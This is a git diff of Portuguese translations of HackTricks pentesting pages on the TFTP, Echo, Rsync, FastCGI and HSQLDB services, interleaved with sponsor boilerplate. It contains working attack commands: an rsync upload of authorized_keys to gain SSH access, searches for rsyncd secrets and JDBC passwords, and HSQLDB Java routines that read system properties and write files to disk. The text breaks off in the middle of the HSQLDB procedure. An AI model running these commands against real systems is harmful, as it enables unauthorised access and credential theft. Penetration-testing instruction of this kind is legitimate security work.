msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -49,7 +50,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
```
## Shodan
* `porta:69`
* `port:69`
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -23,7 +24,7 @@ Outras maneiras de apoiar o HackTricks:
# Informações Básicas
Um serviço de eco está em execução neste host. O serviço de eco foi destinado a fins de teste e medição e pode ouvir nos protocolos TCP e UDP. O servidor envia de volta quaisquer dados que recebe, sem modificação.\
Um serviço de eco está em execução neste host. O serviço de eco foi projetado para fins de teste e medição e pode escutar em ambos os protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
@ -33,7 +34,7 @@ PORT STATE SERVICE
7/udp open echo
7/tcp open echo
```
## Contactar o serviço de eco (UDP)
## Contatar o serviço Echo (UDP)
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -47,7 +48,7 @@ Hello echo #This is the response
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
[CA-1996-01 Ataque de Negação de Serviço de Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
[CA-1996-01 Ataque de Negação de Serviço na Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
**Try Hard Security Group**
@ -56,16 +57,17 @@ Hello echo #This is the response
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Informações Básicas**
Do [wikipedia](https://en.wikipedia.org/wiki/Rsync):
De [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** é um utilitário para transferir e sincronizar arquivos de forma eficiente entre um computador e um disco rígido externo e entre computadores em rede comparando os horários de modificação e tamanhos dos arquivos. É comumente encontrado em sistemas operacionais do tipo Unix. O algoritmo rsync é um tipo de codificação delta e é usado para minimizar o uso da rede. Zlib pode ser usado para compressão de dados adicional, e SSH ou stunnel podem ser usados para segurança.
> **rsync** é uma ferramenta para transferir e sincronizar [arquivos](https://en.wikipedia.org/wiki/Computer\_file) de forma eficiente entre um computador e um disco rígido externo e entre [computadores](https://en.wikipedia.org/wiki/Computer) em uma [rede](https://en.wikipedia.org/wiki/Computer\_network), comparando os [tempos de modificação](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) e tamanhos dos arquivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) É comumente encontrada em sistemas [operacionais](https://en.wikipedia.org/wiki/Operating\_system) [Unix-like](https://en.wikipedia.org/wiki/Unix-like). O algoritmo rsync é um tipo de [codificação delta](https://en.wikipedia.org/wiki/Delta\_encoding) e é usado para minimizar o uso da rede. [Zlib](https://en.wikipedia.org/wiki/Zlib) pode ser usado para [compressão de dados](https://en.wikipedia.org/wiki/Data\_compression) adicional,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) podem ser usados para segurança.
**Porta padrão:** 873
```
@ -27,7 +28,7 @@ PORT STATE SERVICE REASON
```
## Enumeração
### Banner e Comunicação Manual
### Banner e comunicação manual
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@ -49,9 +50,9 @@ nc -vn 127.0.0.1 873
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Enumerating Pastas Compartilhadas**
### **Enumerando Pastas Compartilhadas**
**Módulos Rsync** são reconhecidos como **compartilhamentos de diretórios** que podem estar **protegidos com senhas**. Para identificar os módulos disponíveis e verificar se eles requerem senhas, os seguintes comandos são utilizados:
**Módulos Rsync** são reconhecidos como **compartilhamentos de diretório** que podem estar **protegidos por senhas**. Para identificar módulos disponíveis e verificar se eles exigem senhas, os seguintes comandos são usados:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Esteja ciente de que alguns compartilhamentos podem não aparecer na lista, possivelmente ocultando-os. Além disso, o acesso a alguns compartilhamentos pode ser restrito a **credenciais** específicas, indicado por uma mensagem de **"Acesso Negado"**.
Esteja ciente de que algumas pastas podem não aparecer na lista, possivelmente ocultando-as. Além disso, o acesso a algumas pastas pode ser restrito a **credenciais** específicas, indicado por uma mensagem de **"Acesso Negado"**.
### [**Força Bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Uso Manual do Rsync
Após obter uma lista de **módulos**, as ações dependem se a autenticação é necessária. Sem autenticação, **listar** e **copiar** arquivos de uma pasta compartilhada para um diretório local é alcançado através de:
Após obter uma **lista de módulos**, as ações dependem de saber se a autenticação é necessária. Sem autenticação, **listar** e **copiar** arquivos de uma pasta compartilhada para um diretório local é realizado através de:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -73,14 +74,14 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Este processo **transfere arquivos de forma recursiva**, preservando seus atributos e permissões.
Este processo **transfere arquivos recursivamente**, preservando seus atributos e permissões.
Com **credenciais**, a listagem e o download de uma pasta compartilhada podem ser feitos da seguinte forma, onde um prompt de senha aparecerá:
Com **credenciais**, listar e baixar de uma pasta compartilhada pode ser feito da seguinte forma, onde um prompt de senha aparecerá:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Para **enviar conteúdo**, como um arquivo _**authorized_keys**_ para acesso, use:
Para **fazer upload de conteúdo**, como um arquivo _**authorized_keys**_ para acesso, use:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
@ -90,22 +91,23 @@ Para localizar o arquivo de configuração do rsyncd, execute:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Dentro deste arquivo, um parâmetro _secrets file_ pode apontar para um arquivo contendo **nomes de usuário e senhas** para autenticação do rsyncd.
Dentro deste arquivo, um parâmetro de _secrets file_ pode apontar para um arquivo contendo **nomes de usuário e senhas** para autenticação do rsyncd.
## Referências
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
# Informação Básica
# Informações Básicas
Se você quiser **aprender o que é FastCGI** confira a seguinte página:
Se você quer **aprender o que é FastCGI** confira a página a seguir:
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}
Por padrão, o **FastCGI** roda na **porta** **9000** e não é reconhecido pelo nmap. **Normalmente** o FastCGI só escuta em **localhost**.
Por padrão, **FastCGI** roda na **porta** **9000** e não é reconhecido pelo nmap. **Geralmente**, FastCGI só escuta em **localhost**.
# RCE
@ -45,19 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
ou você também pode usar o seguinte script Python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
ou você também pode usar o seguinte script em python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informações Básicas
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** é o principal sistema de banco de dados relacional SQL escrito em Java. Oferece um mecanismo de banco de dados pequeno, rápido, multithread e transacional com tabelas em memória e baseadas em disco, e suporta modos embutido e servidor.
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithreaded e transacional com tabelas em memória e baseadas em disco, e suporta modos embutidos e de servidor.
**Porta padrão:** 9001
```text
@ -25,35 +26,35 @@ Outras maneiras de apoiar o HackTricks:
### Configurações Padrão
Observe que por padrão este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando elevar privilégios.
Observe que, por padrão, este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.
As credenciais padrão geralmente são `sa` com uma senha em branco.
Se você explorou outro serviço, procure por possíveis credenciais usando
Se você explorou outro serviço, procure possíveis credenciais usando
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Observe cuidadosamente o nome do banco de dados - você precisará dele para se conectar.
Note o nome do banco de dados com atenção - você precisará dele para se conectar.
# Coleta de Informações
# Info Gathering
Conecte-se à instância do banco de dados [baixando o HSQLDB](https://sourceforge.net/projects/hsqldb/files/) e extraindo `hsqldb/lib/hsqldb.jar`. Execute o aplicativo GUI \(eww\) usando `java -jar hsqldb.jar` e conecte-se à instância usando as credenciais descobertas/frágeis.
Conecte-se à instância do DB baixando [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) e extraindo `hsqldb/lib/hsqldb.jar`. Execute o aplicativo GUI \(eww\) usando `java -jar hsqldb.jar` e conecte-se à instância usando as credenciais descobertas/fracas.
Observe que a URL de conexão terá uma aparência semelhante a esta para um sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
Note que a URL de conexão parecerá algo assim para um sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Truques
# Tricks
## Rotinas de Linguagem Java
## Java Language Routines
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas de Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação.
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Java Language Routines. Observe que a classe chamada precisa estar no classpath da aplicação.
As JRTs podem ser `funções` ou `procedimentos`. As funções podem ser chamadas por meio de instruções SQL se o método Java retornar uma ou mais variáveis primitivas compatíveis com SQL. Elas são invocadas usando a instrução `VALUES`.
JRTs podem ser `functions` ou `procedures`. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primárias compatíveis com SQL. Elas são invocadas usando a instrução `VALUES`.
Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a instrução `CALL`.
Se o método Java que queremos chamar retornar void, precisamos usar uma procedure invocada com a instrução `CALL`.
## Lendo Propriedades do Sistema Java
## Reading Java System Properties
Criar função:
Crie a função:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
@ -63,11 +64,11 @@ Executar função:
```text
VALUES(getsystemproperty('user.name'))
```
Pode encontrar uma [lista de propriedades do sistema aqui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
Você pode encontrar uma [lista de propriedades do sistema aqui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Escrever Conteúdo para Arquivo
## Escrever Conteúdo em Arquivo
Pode usar o gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` localizado no JDK \(carregado automaticamente no classpath da aplicação\) para escrever itens codificados em hexadecimal no disco através de um procedimento personalizado. **Observe o tamanho máximo de 1024 bytes**.
Você pode usar o `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java localizado no JDK \(carregado automaticamente no class path da aplicação\) para escrever itens codificados em hex no disco através de um procedimento personalizado. **Observe o tamanho máximo de 1024 bytes**.
Criar procedimento:
```text
@ -79,16 +80,17 @@ Executar procedimento:
```text
